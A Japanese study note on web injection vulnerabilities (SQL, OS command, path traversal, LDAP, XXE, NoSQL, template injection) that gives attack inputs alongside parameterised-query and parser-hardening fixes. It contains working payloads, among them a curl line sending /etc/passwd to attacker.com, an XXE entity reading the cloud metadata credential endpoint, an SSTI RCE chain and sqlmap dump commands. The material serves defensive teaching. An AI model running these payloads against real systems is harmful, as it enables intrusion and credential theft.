💉
概念 #セキュリティ #Webアプリ #SQLインジェクション #コマンドインジェクション #XXE #OWASP 📚 Webアプリセキュリティ

インジェクション攻撃(SQLi・コマンド・XXE)

インジェクション攻撃の本質

「データ」として扱われるべき入力値が「コード」として解釈されてしまう脆弱性。

正常なケース:
  入力: alice
  SQL:  SELECT * FROM users WHERE name = 'alice'
        ↑ alice はデータとして扱われる

SQLインジェクション:
  入力: ' OR '1'='1
  SQL:  SELECT * FROM users WHERE name = '' OR '1'='1'
        ↑ 入力値がSQL構文の一部として解釈される → 全件取得

インジェクション系脆弱性はすべて「データとコードの境界が崩れる」という同じ根本原因を持つ。


SQL インジェクション(SQLi)

攻撃の分類

種類仕組み検知難易度
In-band(古典的)エラーや結果がレスポンスに直接現れる容易
Error-basedDB のエラーメッセージから情報を抽出容易
Union-basedUNION SELECT で別テーブルのデータを取得
Blind Boolean-based条件の真偽でレスポンスが変わることを利用
Blind Time-basedSLEEP() でレスポンス時間から情報を抽出
Out-of-bandDNS・HTTPリクエストでデータを外部送信

具体的な攻撃例

-- 認証バイパス
入力: ' OR '1'='1' --
実行: SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='...'
効果: WHERE 句が常に true になり、最初のユーザーでログインできる

-- UNION ベースでデータ抽出
入力: ' UNION SELECT username, password, NULL FROM users --
実行: SELECT name, price FROM products WHERE id='' UNION SELECT username, password, NULL FROM users --'
効果: users テーブルの全データが製品一覧として返る

-- Blind Time-based(情報が見えない場合)
入力: ' AND SLEEP(5) --
効果: 条件が真なら5秒遅延する → 条件の真偽を1ビットずつ確認して情報を抽出

-- スタックドクエリ(DB次第)
入力: '; DROP TABLE users; --
効果: users テーブルを削除(MySQL・SQL Serverで可能なケースがある)

対策

プリペアドステートメント(最重要)

# 危険: 文字列結合でクエリを構築
query = f"SELECT * FROM users WHERE name = '{user_input}'"
cursor.execute(query)

# 安全: プリペアドステートメント(パラメータ化クエリ)
query = "SELECT * FROM users WHERE name = %s"
cursor.execute(query, (user_input,))
# → user_input は SQL として解釈されずデータとして扱われる
// Node.js + mysql2
// 危険
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;

// 安全
const [rows] = await db.execute(
  'SELECT * FROM users WHERE id = ?',
  [req.params.id]
);
// Go + database/sql
// 安全: ? プレースホルダを使用
row := db.QueryRow("SELECT * FROM users WHERE id = ?", userID)

ORM の利用(ただし生クエリに注意)

# Django ORM(安全)
User.objects.filter(name=user_input)

# Django の生クエリ(危険: 文字列結合している)
User.objects.raw(f"SELECT * FROM users WHERE name = '{user_input}'")

# Django の生クエリ(安全: パラメータ化)
User.objects.raw("SELECT * FROM users WHERE name = %s", [user_input])

最小権限の DB アカウント

-- アプリ用アカウントに必要最小限の権限のみ付与
CREATE USER 'app_user'@'localhost' IDENTIFIED BY '...';
GRANT SELECT, INSERT, UPDATE ON mydb.orders TO 'app_user'@'localhost';
-- DROP・TRUNCATE・CREATE は付与しない

コマンドインジェクション

OS コマンドにユーザー入力を渡す際に、追加のコマンドを実行させる攻撃。
成功すると攻撃者はサーバー上で任意のコマンドを実行できる(RCE: Remote Code Execution)。

攻撃例

# 危険: ユーザー入力をシェルに渡す
import subprocess
filename = request.args.get('file')
result = subprocess.run(f"cat /uploads/{filename}", shell=True, capture_output=True)

# 攻撃入力: report.pdf; cat /etc/passwd
# 実行されるコマンド: cat /uploads/report.pdf; cat /etc/passwd
# → /etc/passwd の内容が返る

# さらに危険な入力:
# report.pdf; curl https://attacker.com/$(cat /etc/passwd | base64)
# → パスワードファイルを外部に送信

主要なシェルメタキャラクター

;   # コマンドの連結(前のコマンドの成功に関わらず実行)
&&  # 前のコマンドが成功した場合のみ実行
||  # 前のコマンドが失敗した場合のみ実行
|   # パイプ(前のコマンドの出力を次に渡す)
`   # バッククォート(コマンド置換)
$() # コマンド置換
>   # リダイレクト(ファイル上書き)
<   # リダイレクト(ファイル読み込み)
\n  # 改行(一部の環境でコマンド区切り)

対策

# 安全: shell=False でシェルを介さない(引数をリストで渡す)
import subprocess
filename = request.args.get('file')

# ホワイトリストでファイル名を検証
import re
if not re.match(r'^[\w\-\.]+$', filename):
    return "Invalid filename", 400

result = subprocess.run(
    ["cat", f"/uploads/{filename}"],  # リストで渡す
    shell=False,                       # シェルを介さない
    capture_output=True,
    text=True
)
# さらに安全: OS コマンドを使わずライブラリで処理
# ファイル読み取りなら open() を使う
import os
safe_path = os.path.join("/uploads", os.path.basename(filename))
with open(safe_path) as f:
    content = f.read()

パストラバーサル(Path Traversal)

../ を使ってサーバーの想定外のディレクトリにアクセスする攻撃。
コマンドインジェクションと組み合わされることが多い。

攻撃入力: ../../etc/passwd
正規化後: /uploads/../../etc/passwd → /etc/passwd

URL エンコードによるバイパス:
  %2e%2e%2f  = ../
  ..%2f      = ../
  %2e%2e/    = ../
# 対策: パスを正規化して許可されたベースディレクトリ内か確認
import os

def safe_file_path(base_dir, user_filename):
    # os.path.realpath で .. を解決した絶対パスを取得
    safe_path = os.path.realpath(os.path.join(base_dir, user_filename))
    
    # ベースディレクトリ内に収まっているか確認
    if not safe_path.startswith(os.path.realpath(base_dir)):
        raise ValueError("Path traversal detected")
    
    return safe_path

LDAP インジェクション

LDAP ディレクトリへのクエリにユーザー入力を使う場合に発生する。

# 危険
ldap_filter = f"(uid={username})"

# 攻撃入力: admin)(&)
# 構築されるフィルタ: (uid=admin)(&))
# → 認証バイパスが可能になる

# 対策: LDAP 特殊文字のエスケープ
import ldap3
safe_username = ldap3.utils.conv.escape_filter_chars(username)
ldap_filter = f"(uid={safe_username})"

XXE(XML External Entity)インジェクション

XML パーサーに悪意ある外部エンティティを読み込ませ、ファイル読み取りや SSRF を引き起こす。

攻撃例

<!-- 攻撃者が送信する XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

<!-- /etc/passwd の内容が <name> 要素の値として返ってくる -->

<!-- SSRF への応用 -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!-- クラウドのメタデータ API から認証情報を窃取 -->

対策

# Python: defusedxml を使う(標準 xml は XXE に脆弱)
import defusedxml.ElementTree as ET

# 危険
import xml.etree.ElementTree as ET  # 外部エンティティが有効

# 安全
import defusedxml.ElementTree as ET  # 外部エンティティを無効化
tree = ET.parse(xml_file)
// Java: 外部エンティティを明示的に無効化
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();

NoSQL インジェクション

MongoDB など NoSQL DB へのクエリでもインジェクションは発生する。

// 危険: オブジェクトをそのまま渡す
const username = req.body.username;  // 攻撃者が {"$ne": ""} を送信
const user = await User.findOne({ username: username });
// → {username: {"$ne": ""}} → 全ユーザーにマッチ(認証バイパス)

// 安全: 型を検証してから使う
if (typeof req.body.username !== 'string') {
  return res.status(400).json({ error: 'Invalid input' });
}
const user = await User.findOne({ username: req.body.username });

テンプレートインジェクション(SSTI)

テンプレートエンジンにユーザー入力を直接渡すと、テンプレート構文がサーバー側で実行される。
RCE につながる重大な脆弱性。

# 危険: Jinja2(Flask)でユーザー入力をテンプレートとして評価
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'World')
    template = f"Hello, {name}!"
    return render_template_string(template)  # ← 危険!

# 攻撃入力: {{7*7}} → "Hello, 49!" が返る(テンプレートが実行された)
# さらに: {{config.items()}} → Flask の設定が漏洩
# RCE: {{''.__class__.__mro__[1].__subclasses__()[...]('id',shell=True,...).communicate()}}

# 安全: 変数として渡す(テンプレート構文として評価しない)
return render_template_string("Hello, {{ name }}!", name=name)

sqlmap による検査(ペンテスト目的)

# 対象 URL の SQLi を自動検査
sqlmap -u "https://example.com/items?id=1" --batch

# POST リクエストのパラメータを検査
sqlmap -u "https://example.com/login" \
  --data="username=test&password=test" \
  --batch

# DB・テーブル・カラムを自動列挙
sqlmap -u "https://example.com/items?id=1" \
  --dbs       # DB 一覧
  --tables    # テーブル一覧
  --dump      # データ取得(許可された環境のみ)

チェックリスト

□ すべての SQL クエリでプリペアドステートメントを使っている
□ ORM の生クエリ(raw query)で文字列結合をしていない
□ OS コマンド呼び出しで shell=False(引数をリスト形式)を使っている
□ OS コマンドを使わずライブラリで代替できないか検討している
□ ファイルパスの操作で realpath + ベースディレクトリ確認をしている
□ XML パーサーで外部エンティティを無効化している(defusedxml 等)
□ NoSQL クエリのパラメータで型チェックをしている
□ テンプレートにユーザー入力を直接埋め込んでいない
□ DB アカウントに最小権限のみ付与している(DROP・TRUNCATE 不要)
□ エラーメッセージに DB の詳細情報を含めていない

参考文献

  • Dafydd Stuttard & Marcus Pinto『The Web Application Hacker’s Handbook』(Wiley, 2011)— SQLi・コマンドインジェクションの攻撃手法と対策を体系的に解説
  • OWASP SQL Injection Prevention Cheat Sheet(owasp.org)— プリペアドステートメント・ORM の安全な使い方
  • OWASP Command Injection Defense Cheat Sheet(owasp.org)— OS コマンド呼び出しの安全なパターン
  • CWE-89(SQL Injection)/ CWE-78(OS Command Injection)/ CWE-611(XXE)— 脆弱性の公式定義と事例
  • PortSwigger Web Security Academy(portswigger.net/web-security)— 実際に手を動かして学べるインジェクション系の無料ラボ

出典: The Web Application Hacker's Handbook(Stuttard & Pinto, 2011)/ OWASP SQL Injection Prevention Cheat Sheet / OWASP Command Injection Defense Cheat Sheet / CWE-89・CWE-78・CWE-611